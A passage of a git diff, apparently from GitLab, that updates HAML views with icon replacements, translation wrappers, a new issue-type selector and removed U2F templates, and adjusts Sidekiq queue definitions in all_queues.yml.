- placeholder: "Search assignee", data: { first_user: current_user.try(:username), null_user: true, current_user: true, project_id: issuable.project.try(:id), selected: issuable.assignee_id, field_name: "#{issuable.class.model_name.param_key}[assignee_id]", default_label: "Assignee"} })
- = link_to 'Assign to me', '#', class: "assign-to-me-link qa-assign-to-me-link #{'hide' if issuable.assignee_id == current_user.id}"
diff --git a/app/views/shared/issuable/form/_type_selector.html.haml b/app/views/shared/issuable/form/_type_selector.html.haml
new file mode 100644
index 00000000000..7a8120d2d02
--- /dev/null
+++ b/app/views/shared/issuable/form/_type_selector.html.haml
@@ -0,0 +1,30 @@
+- return unless issuable.supports_issue_type? && can?(current_user, :admin_issue, @project)
+
+.form-group.row.gl-mb-0
+ = form.label :type, 'Type', class: 'col-form-label col-sm-2'
+ .col-sm-10
+ .issuable-form-select-holder.selectbox.form-group.gl-mb-0
+ .dropdown.js-issuable-type-filter-dropdown-wrap
+ %button.dropdown-menu-toggle{ type: 'button', 'data-toggle' => 'dropdown' }
+ %span.dropdown-toggle-text.is-default
+ = issuable.issue_type.capitalize || _("Select type")
+ = icon('chevron-down')
+ .dropdown-menu.dropdown-menu-selectable.dropdown-select
+ .dropdown-title.gl-display-flex
+ %span.gl-ml-auto
+ = _("Select type")
+ %button.dropdown-title-button.dropdown-menu-close.gl-ml-auto{ "aria-label" => _('Close') }
+ = sprite_icon('close', size: 16, css_class: 'dropdown-menu-close-icon')
+ .dropdown-content
+ %ul
+ %li.js-filter-issuable-type
+ = link_to new_project_issue_path(@project), class: ("is-active" if issuable.issue?) do
+ = _("Issue")
+ %li.js-filter-issuable-type
+ = link_to new_project_issue_path(@project, { issuable_template: 'incident', issue: { issue_type: 'incident' } }), class: ("is-active" if issuable.incident?) do
+ = _("Incident")
+ - if issuable.incident?
+ %p.form-text.text-muted
+ - incident_docs_url = help_page_path('operations/incident_management/incidents.md', anchor: 'create-and-manage-incidents-in-gitlab')
+ - incident_docs_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: incident_docs_url }
+ = _('A %{incident_docs_start}modified issue%{incident_docs_end} to guide the resolution of incidents.').html_safe % { incident_docs_start: incident_docs_start, incident_docs_end: '</a>'.html_safe }
diff --git a/app/views/shared/members/_group.html.haml b/app/views/shared/members/_group.html.haml
index f59e0f92c60..8e5763842d9 100644
--- a/app/views/shared/members/_group.html.haml
+++ b/app/views/shared/members/_group.html.haml
@@ -38,7 +38,7 @@
data: { id: role_id, el_id: dom_id }
.clearable-input.member-form-control.d-sm-inline-block
= text_field_tag 'group_link[expires_at]', group_link.expires_at, class: 'form-control js-access-expiration-date js-member-update-control', placeholder: _('Expiration date'), id: "member_expires_at_#{group.id}", disabled: !can_admin_member
- %i.clear-icon.js-clear-input
+ = sprite_icon('close', size: 16, css_class: 'clear-icon js-clear-input gl-text-gray-200')
- if can_admin_member
= link_to group_link_path,
method: :delete,
diff --git a/app/views/shared/members/_invite_group.html.haml b/app/views/shared/members/_invite_group.html.haml
index a2fb33aa757..a87a4c6a45c 100644
--- a/app/views/shared/members/_invite_group.html.haml
+++ b/app/views/shared/members/_invite_group.html.haml
@@ -22,5 +22,5 @@
= label_tag :expires_at, _('Access expiration date'), class: 'label-bold'
.clearable-input
= text_field_tag :expires_at, nil, class: 'form-control js-access-expiration-date-groups', placeholder: _('Expiration date'), id: 'expires_at_groups'
- %i.clear-icon.js-clear-input
+ = sprite_icon('close', size: 16, css_class: 'clear-icon js-clear-input gl-text-gray-200')
= submit_tag _("Invite"), class: "btn btn-success", data: { qa_selector: 'invite_group_button' }
diff --git a/app/views/shared/members/_invite_member.html.haml b/app/views/shared/members/_invite_member.html.haml
index 284d7fdb6da..5f9046b3dcb 100644
--- a/app/views/shared/members/_invite_member.html.haml
+++ b/app/views/shared/members/_invite_member.html.haml
@@ -19,10 +19,10 @@
- link_start = %q{<a href="%{url}">}.html_safe % { url: permissions_docs_path }
= _("%{link_start}Read more%{link_end} about role permissions").html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
.form-group
+ = label_tag :expires_at, _('Access expiration date'), class: 'label-bold'
.clearable-input
- = label_tag :expires_at, _('Access expiration date'), class: 'label-bold'
= text_field_tag :expires_at, nil, class: 'form-control js-access-expiration-date', placeholder: 'Expiration date'
- %i.clear-icon.js-clear-input
+ = sprite_icon('close', size: 16, css_class: 'clear-icon js-clear-input gl-text-gray-200')
= submit_tag _("Invite"), class: "btn btn-success", data: { qa_selector: 'invite_member_button' }
- if can_import_members
= link_to _("Import"), import_path, class: "btn btn-default", title: _("Import members from another project")
diff --git a/app/views/shared/members/_member.html.haml b/app/views/shared/members/_member.html.haml
index 20473b47484..7573c2f6d56 100644
--- a/app/views/shared/members/_member.html.haml
+++ b/app/views/shared/members/_member.html.haml
@@ -33,7 +33,7 @@
- if source.instance_of?(Group) && source != @group
&middot;
- = link_to source.full_name, source, class: "member-group-link"
+ = link_to source.full_name, source, class: "gl-display-inline-block inline-link"
.cgray
- if member.request?
@@ -97,7 +97,7 @@
placeholder: _('Expiration date'),
id: "member_expires_at_#{member.id}",
data: { el_id: dom_id(member) }
- %i.clear-icon.js-clear-input
+ = sprite_icon('close', size: 16, css_class: 'clear-icon js-clear-input gl-text-gray-200')
- else
%span.member-access-text.user-access-role= member.human_access
diff --git a/app/views/shared/milestones/_description.html.haml b/app/views/shared/milestones/_description.html.haml
index 76d6c765ed6..747e22f47ac 100644
--- a/app/views/shared/milestones/_description.html.haml
+++ b/app/views/shared/milestones/_description.html.haml
@@ -1,9 +1,8 @@
.detail-page-description.milestone-detail
- %h2{ data: { qa_selector: "milestone_title_content" } }
- .title
+ %h2.gl-m-0{ data: { qa_selector: "milestone_title_content" } }
= markdown_field(milestone, :title)
- if milestone.try(:description).present?
%div{ data: { qa_selector: "milestone_description_content" } }
- .description.md
+ .description.md.gl-px-0.gl-pt-4.gl-border-1.gl-border-t-solid.gl-border-gray-100
= markdown_field(milestone, :description)
diff --git a/app/views/shared/milestones/_milestone.html.haml b/app/views/shared/milestones/_milestone.html.haml
index 4ef8a9dd842..27b771b281b 100644
--- a/app/views/shared/milestones/_milestone.html.haml
+++ b/app/views/shared/milestones/_milestone.html.haml
@@ -8,7 +8,7 @@
.gl-mb-2
%strong{ data: { qa_selector: "milestone_link", qa_milestone_title: milestone.title } }
= link_to truncate(milestone.title, length: 100), milestone_path(milestone)
- - if @group
+ - if @group || dashboard
= " - #{milestone_type}"
- if milestone.due_date || milestone.start_date
@@ -62,7 +62,3 @@
= link_to s_('Milestones|Reopen Milestone'), milestone_path(milestone, milestone: { state_event: :activate }), method: :put, class: "btn btn-sm btn-grouped btn-reopen"
- else
= link_to s_('Milestones|Close Milestone'), milestone_path(milestone, milestone: { state_event: :close }), method: :put, class: "btn btn-sm btn-grouped btn-close"
-
- - if dashboard
- .label-badge.label-badge-gray
- = milestone_type
diff --git a/app/views/shared/notes/_hints.html.haml b/app/views/shared/notes/_hints.html.haml
index 51c1ee0c4d1..3703cca2290 100644
--- a/app/views/shared/notes/_hints.html.haml
+++ b/app/views/shared/notes/_hints.html.haml
@@ -27,7 +27,7 @@
or
%button.attach-new-file.markdown-selector{ type: 'button' }= _("attach a new file")
- %button.btn.markdown-selector.button-attach-file.btn-link{ type: 'button', tabindex: '-1' }
+ %button.btn.markdown-selector.button-attach-file.btn-link{ type: 'button' }
= sprite_icon('media')
%span.text-attach-file<>
= _("Attach a file")
diff --git a/app/views/shared/notes/_note.html.haml b/app/views/shared/notes/_note.html.haml
index da665f17975..97ed2852871 100644
--- a/app/views/shared/notes/_note.html.haml
+++ b/app/views/shared/notes/_note.html.haml
@@ -76,4 +76,4 @@
= note.attachment_identifier
= link_to delete_attachment_project_note_path(note.project, note),
title: _('Delete this attachment'), method: :delete, remote: true, data: { confirm: _('Are you sure you want to remove the attachment?') }, class: 'danger js-note-attachment-delete' do
- = icon('trash-o', class: 'cred')
+ = sprite_icon('remove', css_class: 'cred')
diff --git a/app/views/shared/notes/_notes_with_form.html.haml b/app/views/shared/notes/_notes_with_form.html.haml
index 2e98b06ec4a..5b7a0b99598 100644
--- a/app/views/shared/notes/_notes_with_form.html.haml
+++ b/app/views/shared/notes/_notes_with_form.html.haml
@@ -28,5 +28,4 @@
= sprite_icon('lock', css_class: 'icon')
%span
= html_escape(_("This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment.")) % { issuable: issuable.class.to_s.titleize.downcase, strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
--# haml-lint:disable InlineJavaScript
%script.js-notes-data{ type: "application/json" }= initial_notes_data(autocomplete).to_json.html_safe
diff --git a/app/views/shared/promotions/_promote_servicedesk.html.haml b/app/views/shared/promotions/_promote_servicedesk.html.haml
index fbac5ef0bbd..237416a869b 100644
--- a/app/views/shared/promotions/_promote_servicedesk.html.haml
+++ b/app/views/shared/promotions/_promote_servicedesk.html.haml
@@ -1,7 +1,7 @@
.user-callout.promotion-callout.js-service-desk-callout#promote_service_desk{ data: { uid: 'promote_service_desk_dismissed' } }
.bordered-box.content-block
%button.btn.btn-default.close.js-close-callout{ type: 'button', 'aria-label' => 'Dismiss Service Desk promotion' }
- = icon('times', class: 'dismiss-icon', 'aria-hidden' => 'true')
+ = sprite_icon('close', size: 16, css_class: 'dismiss-icon')
.svg-container
= custom_icon('icon_service_desk')
.user-callout-copy
diff --git a/app/views/shared/runners/show.html.haml b/app/views/shared/runners/show.html.haml
index 8a78f12bdd8..1af04b808bf 100644
--- a/app/views/shared/runners/show.html.haml
+++ b/app/views/shared/runners/show.html.haml
@@ -1,71 +1,71 @@
- page_title "#{@runner.description} ##{@runner.id}", _("Runners")
%h3.page-title
- Runner ##{@runner.id}
+ = s_('Runners|Runner #%{id}' % { id: @runner.id })
.float-right
- if @runner.instance_type?
%span.runner-state.runner-state-shared
- Shared
+ = s_('Runners|Shared')
- elsif @runner.group_type?
%span.runner-state.runner-state-shared
- Group
+ = s_('Runners|Group')
- else
%span.runner-state.runner-state-specific
- Specific
+ = s_('Runners|Specific')
.table-holder
%table.table
%thead
%tr
- %th Property Name
- %th Value
+ %th= s_('Runners|Property Name')
+ %th= s_('Runners|Value')
%tr
- %td Active
- %td= @runner.active? ? 'Yes' : 'No'
+ %td= s_('Runners|Active')
+ %td= @runner.active? ? _('Yes') : _('No')
%tr
- %td Protected
- %td= @runner.ref_protected? ? 'Yes' : 'No'
+ %td= s_('Runners|Protected')
+ %td= @runner.ref_protected? ? _('Yes') : _('No')
%tr
- %td Can run untagged jobs
- %td= @runner.run_untagged? ? 'Yes' : 'No'
+ %td= s_('Runners|Can run untagged jobs')
+ %td= @runner.run_untagged? ? _('Yes') : _('No')
- unless @runner.group_type?
%tr
- %td Locked to this project
- %td= @runner.locked? ? 'Yes' : 'No'
+ %td= s_('Runners|Locked to this project')
+ %td= @runner.locked? ? _('Yes') : _('No')
%tr
- %td Tags
+ %td= s_('Runners|Tags')
%td
- @runner.tag_list.sort.each do |tag|
%span.badge.badge-primary
= tag
%tr
- %td Name
+ %td= s_('Runners|Name')
%td= @runner.name
%tr
- %td Version
+ %td= s_('Runners|Version')
%td= @runner.version
%tr
- %td IP Address
+ %td= s_('Runners|IP Address')
%td= @runner.ip_address
%tr
- %td Revision
+ %td= s_('Runners|Revision')
%td= @runner.revision
%tr
- %td Platform
+ %td= s_('Runners|Platform')
%td= @runner.platform
%tr
- %td Architecture
+ %td= s_('Runners|Architecture')
%td= @runner.architecture
%tr
- %td Description
+ %td= s_('Runners|Description')
%td= @runner.description
%tr
- %td Maximum job timeout
+ %td= s_('Runners|Maximum job timeout')
%td= @runner.maximum_timeout_human_readable
%tr
- %td Last contact
+ %td= s_('Runners|Last contact')
%td
- if @runner.contacted_at
= time_ago_with_tooltip @runner.contacted_at
- else
- Never
+ = s_('Never')
diff --git a/app/views/shared/snippets/_form.html.haml b/app/views/shared/snippets/_form.html.haml
index 81277b50d13..198735df5ee 100644
--- a/app/views/shared/snippets/_form.html.haml
+++ b/app/views/shared/snippets/_form.html.haml
@@ -1,5 +1,6 @@
-- if Feature.enabled?(:snippets_edit_vue)
- #js-snippet-edit.snippet-form{ data: {'project_path': @snippet.project&.full_path, 'snippet-gid': @snippet.new_record? ? '' : @snippet.to_global_id, 'markdown-preview-path': preview_markdown_path(parent), 'markdown-docs-path': help_page_path('user/markdown'), 'visibility-help-link': help_page_path("public_access/public_access") } }
+- if Feature.enabled?(:snippets_edit_vue, default_enabled: true)
+ - available_visibility_levels = available_visibility_levels(@snippet)
+ #js-snippet-edit.snippet-form{ data: {'project_path': @snippet.project&.full_path, 'snippet-gid': @snippet.new_record? ? '' : @snippet.to_global_id, 'markdown-preview-path': preview_markdown_path(parent), 'markdown-docs-path': help_page_path('user/markdown'), 'visibility-help-link': help_page_path("public_access/public_access"), 'visibility_levels': available_visibility_levels, 'selected_level': snippets_selected_visibility_level(available_visibility_levels, @snippet.visibility_level), 'multiple_levels_restricted': multiple_visibility_levels_restricted? } }
- else
.snippet-form-holder
= form_for @snippet, url: url,
@@ -36,7 +37,7 @@
.form-group
.font-weight-bold
= _('Visibility level')
- = link_to icon('question-circle'), help_page_path("public_access/public_access"), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('public_access/public_access'), target: '_blank'
= render 'shared/visibility_level', f: f, visibility_level: @snippet.visibility_level, can_change_visibility_level: true, form_model: @snippet, with_label: false
- if params[:files]
diff --git a/app/views/shared/snippets/_header.html.haml b/app/views/shared/snippets/_header.html.haml
index d6019e45b25..a9226117727 100644
--- a/app/views/shared/snippets/_header.html.haml
+++ b/app/views/shared/snippets/_header.html.haml
@@ -5,10 +5,7 @@
= visibility_level_label(@snippet.visibility_level)
= visibility_level_icon(@snippet.visibility_level)
%span.creator
- Authored
- = time_ago_with_tooltip(@snippet.created_at, placement: 'bottom', html_class: 'snippet_updated_ago')
- by #{link_to_member(@project, @snippet.author, size: 24, author_class: "author item-title", avatar_class: "d-none d-sm-inline")}
- = user_status(@snippet.author)
+ = s_('Snippets|Authored %{time_ago} by %{author}').html_safe % { time_ago: time_ago_with_tooltip(@snippet.created_at, placement: 'bottom', html_class: 'snippet_updated_ago'), author: link_to_member(@project, @snippet.author, size: 24, author_class: "author item-title", avatar_class: "d-none d-sm-inline") + user_status(@snippet.author) }
.detail-page-header-actions
- if @snippet.project_id?
diff --git a/app/views/shared/web_hooks/_form.html.haml b/app/views/shared/web_hooks/_form.html.haml
index 0f6188fa334..96da5136908 100644
--- a/app/views/shared/web_hooks/_form.html.haml
+++ b/app/views/shared/web_hooks/_form.html.haml
@@ -1,77 +1,77 @@
= form_errors(hook)
.form-group
- = form.label :url, 'URL', class: 'label-bold'
+ = form.label :url, s_('Webhooks|URL'), class: 'label-bold'
= form.text_field :url, class: 'form-control', placeholder: 'http://example.com/trigger-ci.json'
.form-group
- = form.label :token, 'Secret Token', class: 'label-bold'
+ = form.label :token, s_('Webhooks|Secret Token'), class: 'label-bold'
= form.text_field :token, class: 'form-control', placeholder: ''
%p.form-text.text-muted
- Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header.
+ = s_('Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header.')
.form-group
- = form.label :url, 'Trigger', class: 'label-bold'
+ = form.label :url, s_('Webhooks|Trigger'), class: 'label-bold'
%ul.list-unstyled.prepend-left-20
%li
= form.check_box :push_events, class: 'form-check-input'
= form.label :push_events, class: 'list-label form-check-label ml-1' do
- %strong Push events
+ %strong= s_('Webhooks|Push events')
= form.text_field :push_events_branch_filter, class: 'form-control', placeholder: 'Branch name or wildcard pattern to trigger on (leave blank for all)'
%p.text-muted.ml-1
- This URL will be triggered by a push to the repository
+ = s_('Webhooks|This URL will be triggered by a push to the repository')
%li
= form.check_box :tag_push_events, class: 'form-check-input'
= form.label :tag_push_events, class: 'list-label form-check-label ml-1' do
- %strong Tag push events
+ %strong= s_('Webhooks|Tag push events')
%p.text-muted.ml-1
- This URL will be triggered when a new tag is pushed to the repository
+ = s_('Webhooks|This URL will be triggered when a new tag is pushed to the repository')
%li
= form.check_box :note_events, class: 'form-check-input'
= form.label :note_events, class: 'list-label form-check-label ml-1' do
- %strong Comments
+ %strong= s_('Webhooks|Comments')
%p.text-muted.ml-1
- This URL will be triggered when someone adds a comment
+ = s_('Webhooks|This URL will be triggered when someone adds a comment')
%li
= form.check_box :confidential_note_events, class: 'form-check-input'
= form.label :confidential_note_events, class: 'list-label form-check-label ml-1' do
- %strong Confidential Comments
+ %strong= s_('Webhooks|Confidential Comments')
%p.text-muted.ml-1
- This URL will be triggered when someone adds a comment on a confidential issue
+ = s_('Webhooks|This URL will be triggered when someone adds a comment on a confidential issue')
%li
= form.check_box :issues_events, class: 'form-check-input'
= form.label :issues_events, class: 'list-label form-check-label ml-1' do
- %strong Issues events
+ %strong= s_('Webhooks|Issues events')
%p.text-muted.ml-1
- This URL will be triggered when an issue is created/updated/merged
+ = s_('Webhooks|This URL will be triggered when an issue is created/updated/merged')
%li
= form.check_box :confidential_issues_events, class: 'form-check-input'
= form.label :confidential_issues_events, class: 'list-label form-check-label ml-1' do
- %strong Confidential Issues events
+ %strong= s_('Webhooks|Confidential Issues events')
%p.text-muted.ml-1
- This URL will be triggered when a confidential issue is created/updated/merged
+ = s_('Webhooks|This URL will be triggered when a confidential issue is created/updated/merged')
%li
= form.check_box :merge_requests_events, class: 'form-check-input'
= form.label :merge_requests_events, class: 'list-label form-check-label ml-1' do
- %strong Merge request events
+ %strong= s_('Webhooks|Merge request events')
%p.text-muted.ml-1
- This URL will be triggered when a merge request is created/updated/merged
+ = s_('Webhooks|This URL will be triggered when a merge request is created/updated/merged')
%li
= form.check_box :job_events, class: 'form-check-input'
= form.label :job_events, class: 'list-label form-check-label ml-1' do
- %strong Job events
+ %strong= s_('Webhooks|Job events')
%p.text-muted.ml-1
- This URL will be triggered when the job status changes
+ = s_('Webhooks|This URL will be triggered when the job status changes')
%li
= form.check_box :pipeline_events, class: 'form-check-input'
= form.label :pipeline_events, class: 'list-label form-check-label ml-1' do
- %strong Pipeline events
+ %strong= s_('Webhooks|Pipeline events')
%p.text-muted.ml-1
- This URL will be triggered when the pipeline status changes
+ = s_('Webhooks|This URL will be triggered when the pipeline status changes')
%li
= form.check_box :wiki_page_events, class: 'form-check-input'
= form.label :wiki_page_events, class: 'list-label form-check-label ml-1' do
- %strong Wiki Page events
+ %strong= s_('Webhooks|Wiki Page events')
%p.text-muted.ml-1
- This URL will be triggered when a wiki page is created/updated
+ = s_('Webhooks|This URL will be triggered when a wiki page is created/updated')
%li
= form.check_box :deployment_events, class: 'form-check-input'
= form.label :deployment_events, class: 'list-label form-check-label ml-1' do
@@ -79,8 +79,8 @@
%p.text-muted.ml-1
= s_('Webhooks|This URL will be triggered when a deployment is finished/failed/canceled')
.form-group
- = form.label :enable_ssl_verification, 'SSL verification', class: 'label-bold checkbox'
+ = form.label :enable_ssl_verification, s_('Webhooks|SSL verification'), class: 'label-bold checkbox'
.form-check
= form.check_box :enable_ssl_verification, class: 'form-check-input'
= form.label :enable_ssl_verification, class: 'form-check-label ml-1' do
- %strong Enable SSL verification
+ %strong= s_('Webhooks|Enable SSL verification')
diff --git a/app/views/shared/wikis/_form.html.haml b/app/views/shared/wikis/_form.html.haml
index 4d64521f9b0..66c0f64c32c 100644
--- a/app/views/shared/wikis/_form.html.haml
+++ b/app/views/shared/wikis/_form.html.haml
@@ -21,10 +21,10 @@
.col-sm-12
= f.text_field :title, class: 'form-control qa-wiki-title-textbox', value: @page.title, required: true, autofocus: !@page.persisted?, placeholder: s_('Wiki|Page title')
%span.d-inline-block.mw-100.gl-mt-2
- = icon('lightbulb-o')
+ = sprite_icon('bulb', size: 12, css_class: 'gl-mr-n1')
- if @page.persisted?
= s_("WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title.")
- = link_to icon('question-circle'), help_page_path('user/project/wiki/index', anchor: 'moving-a-wiki-page'),
+ = link_to sprite_icon('question-o'), help_page_path('user/project/wiki/index', anchor: 'moving-a-wiki-page'),
target: '_blank', rel: 'noopener noreferrer'
- else
= s_("WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories.")
diff --git a/app/views/sherlock/file_samples/show.html.haml b/app/views/sherlock/file_samples/show.html.haml
index cc8bdbae55d..5fef56f7fc3 100644
--- a/app/views/sherlock/file_samples/show.html.haml
+++ b/app/views/sherlock/file_samples/show.html.haml
@@ -6,7 +6,7 @@
.row-content-block
.float-right
= link_to(sherlock_transaction_path(@transaction), class: 'btn') do
- %i.fa.fa-arrow-left
+ = sprite_icon('arrow-left')
= t('sherlock.transaction')
.oneline
= t('sherlock.file_sample')
diff --git a/app/views/sherlock/queries/show.html.haml b/app/views/sherlock/queries/show.html.haml
index 413130a2907..e4a48943115 100644
--- a/app/views/sherlock/queries/show.html.haml
+++ b/app/views/sherlock/queries/show.html.haml
@@ -12,7 +12,7 @@
.row-content-block
.float-right
= link_to(sherlock_transaction_path(@transaction), class: 'btn') do
- %i.fa.fa-arrow-left
+ = sprite_icon('arrow-left')
= t('sherlock.transaction')
.oneline
= t('sherlock.query')
diff --git a/app/views/sherlock/transactions/index.html.haml b/app/views/sherlock/transactions/index.html.haml
index 4d9df01ae31..1e16c88571e 100644
--- a/app/views/sherlock/transactions/index.html.haml
+++ b/app/views/sherlock/transactions/index.html.haml
@@ -6,7 +6,7 @@
= link_to(destroy_all_sherlock_transactions_path,
class: 'btn btn-danger',
method: :delete) do
- %i.fa.fa-trash
+ = sprite_icon('remove')
= t('sherlock.delete_all_transactions')
.oneline= t('sherlock.introduction')
diff --git a/app/views/sherlock/transactions/show.html.haml b/app/views/sherlock/transactions/show.html.haml
index 565b337d446..8f2b36123bb 100644
--- a/app/views/sherlock/transactions/show.html.haml
+++ b/app/views/sherlock/transactions/show.html.haml
@@ -19,7 +19,7 @@
.row-content-block
.float-right
= link_to(sherlock_transactions_path, class: 'btn') do
- %i.fa.fa-arrow-left
+ = sprite_icon('arrow-left')
= t('sherlock.all_transactions')
.oneline
= t('sherlock.transaction')
diff --git a/app/views/u2f/_authenticate.html.haml b/app/views/u2f/_authenticate.html.haml
deleted file mode 100644
index 6658d70df8d..00000000000
--- a/app/views/u2f/_authenticate.html.haml
+++ /dev/null
@@ -1,19 +0,0 @@
-#js-authenticate-token-2fa
-%a.btn.btn-block.btn-info#js-login-2fa-device{ href: '#' }= _("Sign in via 2FA code")
-
-%script#js-authenticate-token-2fa-in-progress{ type: "text/template" }
- %p= _("Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now.")
-
-%script#js-authenticate-token-2fa-error{ type: "text/template" }
- %div
- %p <%= error_message %> (#{_("error code:")} <%= error_code %>)
- %a.btn.btn-block.btn-warning#js-token-2fa-try-again= _("Try again?")
-
-%script#js-authenticate-token-2fa-authenticated{ type: "text/template" }
- %div
- %p= _("We heard back from your device. You have been authenticated.")
- = form_tag(target_path, method: :post, id: 'js-login-token-2fa-form') do |f|
- - if render_remember_me
- - resource_params = params[resource_name].presence || params
- = hidden_field_tag 'user[remember_me]', resource_params.fetch(:remember_me, 0)
- = hidden_field_tag 'user[device_response]', nil, class: 'form-control', required: true, id: "js-device-response"
diff --git a/app/views/u2f/_register.html.haml b/app/views/u2f/_register.html.haml
deleted file mode 100644
index a83b55379da..00000000000
--- a/app/views/u2f/_register.html.haml
+++ /dev/null
@@ -1,40 +0,0 @@
-#js-register-u2f
-
--# haml-lint:disable InlineJavaScript
-%script#js-register-u2f-not-supported{ type: "text/template" }
- %p= _("Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer).")
-
-%script#js-register-u2f-setup{ type: "text/template" }
- - if current_user.two_factor_otp_enabled?
- .row.gl-mb-3
- .col-md-4
- %button#js-setup-u2f-device.btn.btn-info.btn-block= _("Set up new U2F device")
- .col-md-8
- %p= _("Your U2F device needs to be set up. Plug it in (if not already) and click the button on the left.")
- - else
- .row.gl-mb-3
- .col-md-4
- %button#js-setup-u2f-device.btn.btn-info.btn-block{ disabled: true }= _("Set up new U2F device")
- .col-md-8
- %p= _("You need to register a two-factor authentication app before you can set up a U2F device.")
-
-%script#js-register-u2f-in-progress{ type: "text/template" }
- %p= _("Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now.")
-
-%script#js-register-u2f-error{ type: "text/template" }
- %div
- %p
- %span <%= error_message %> (#{_("error code:")} <%= error_code %>)
- %a.btn.btn-warning#js-token-2fa-try-again= _("Try again?")
-
-%script#js-register-u2f-registered{ type: "text/template" }
- .row.gl-mb-3
- .col-md-12
- %p= _("Your device was successfully set up! Give it a name and register it with the GitLab server.")
- = form_tag(create_u2f_profile_two_factor_auth_path, method: :post) do
- .row.gl-mb-3
- .col-md-3
- = text_field_tag 'u2f_registration[name]', nil, class: 'form-control', placeholder: _("Pick a name")
- .col-md-3
- = hidden_field_tag 'u2f_registration[device_response]', nil, class: 'form-control', required: true, id: "js-device-response"
- = submit_tag _("Register U2F device"), class: "btn btn-success"
diff --git a/app/views/users/show.html.haml b/app/views/users/show.html.haml
index e1d1df9de1a..fbda9b79e82 100644
--- a/app/views/users/show.html.haml
+++ b/app/views/users/show.html.haml
@@ -13,24 +13,24 @@
.cover-block.user-cover-block{ class: [('border-bottom' if profile_tabs.empty?)] }
= render layout: 'users/cover_controls' do
- if @user == current_user
- = link_to profile_path, class: link_classes + 'btn btn-default has-tooltip', title: s_('UserProfile|Edit profile'), 'aria-label': 'Edit profile' do
+ = link_to profile_path, class: link_classes + 'btn gl-button btn-default has-tooltip', title: s_('UserProfile|Edit profile'), 'aria-label': 'Edit profile' do
= sprite_icon('pencil')
- elsif current_user
- if @user.abuse_report
- %button{ class: link_classes + 'btn btn-danger mr-1', title: s_('UserProfile|Already reported for abuse'),
- data: { toggle: 'tooltip', placement: 'bottom', container: 'body' } }
- = icon('exclamation-circle')
+ %button{ class: link_classes + 'btn gl-button btn-danger', title: s_('UserProfile|Already reported for abuse'),
+ data: { toggle: 'tooltip', placement: 'bottom', container: 'body' } }>
+ = sprite_icon('error')
- else
- = link_to new_abuse_report_path(user_id: @user.id, ref_url: request.referrer), class: link_classes + 'btn',
+ = link_to new_abuse_report_path(user_id: @user.id, ref_url: request.referrer), class: link_classes + 'btn gl-button',
title: s_('UserProfile|Report abuse'), data: { toggle: 'tooltip', placement: 'bottom', container: 'body' } do
- = icon('exclamation-circle')
+ = sprite_icon('error')
- if can?(current_user, :read_user_profile, @user)
- = link_to user_path(@user, rss_url_options), class: link_classes + 'btn btn-svg btn-default has-tooltip', title: s_('UserProfile|Subscribe'), 'aria-label': 'Subscribe' do
+ = link_to user_path(@user, rss_url_options), class: link_classes + 'btn gl-button btn-svg btn-default has-tooltip', title: s_('UserProfile|Subscribe'), 'aria-label': 'Subscribe' do
= sprite_icon('rss', css_class: 'qa-rss-icon')
- if current_user && current_user.admin?
- = link_to [:admin, @user], class: link_classes + 'btn btn-default', title: s_('UserProfile|View user in admin area'),
+ = link_to [:admin, @user], class: link_classes + 'btn gl-button btn-default', title: s_('UserProfile|View user in admin area'),
data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
- = icon('users')
+ = sprite_icon('user')
.profile-header{ class: [('with-no-profile-tabs' if profile_tabs.empty?)] }
.avatar-holder
diff --git a/app/workers/all_queues.yml b/app/workers/all_queues.yml
index 2c871c55f0a..451decce9fb 100644
--- a/app/workers/all_queues.yml
+++ b/app/workers/all_queues.yml
@@ -115,6 +115,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: cronjob:analytics_instance_statistics_count_job_trigger
+ :feature_category: :instance_statistics
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: cronjob:authorized_project_update_periodic_recalculate
:feature_category: :source_code_management
:has_external_dependencies:
@@ -131,6 +139,14 @@
:weight: 1
:idempotent:
:tags: []
+- :name: cronjob:ci_platform_metrics_update_cron
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :cpu
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: cronjob:container_expiration_policy
:feature_category: :container_registry
:has_external_dependencies:
@@ -723,6 +739,22 @@
:weight: 2
:idempotent:
:tags: []
+- :name: jira_connect:jira_connect_sync_branch
+ :feature_category: :integrations
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
+- :name: jira_connect:jira_connect_sync_merge_request
+ :feature_category: :integrations
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: jira_importer:jira_import_advance_stage
:feature_category: :importers
:has_external_dependencies:
@@ -881,7 +913,7 @@
:urgency: :low
:resource_boundary: :unknown
:weight: 1
- :idempotent:
+ :idempotent: true
:tags: []
- :name: pipeline_background:ci_daily_build_group_report_results
:feature_category: :continuous_integration
@@ -899,6 +931,14 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: pipeline_background:ci_pipelines_create_artifact
+ :feature_category: :continuous_integration
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: pipeline_background:ci_ref_delete_unlock_artifacts
:feature_category: :continuous_integration
:has_external_dependencies:
@@ -987,14 +1027,6 @@
:weight: 3
:idempotent:
:tags: []
-- :name: pipeline_default:pipeline_update_ci_ref_status
- :feature_category: :continuous_integration
- :has_external_dependencies:
- :urgency: :high
- :resource_boundary: :cpu
- :weight: 3
- :idempotent:
- :tags: []
- :name: pipeline_hooks:build_hooks
:feature_category: :continuous_integration
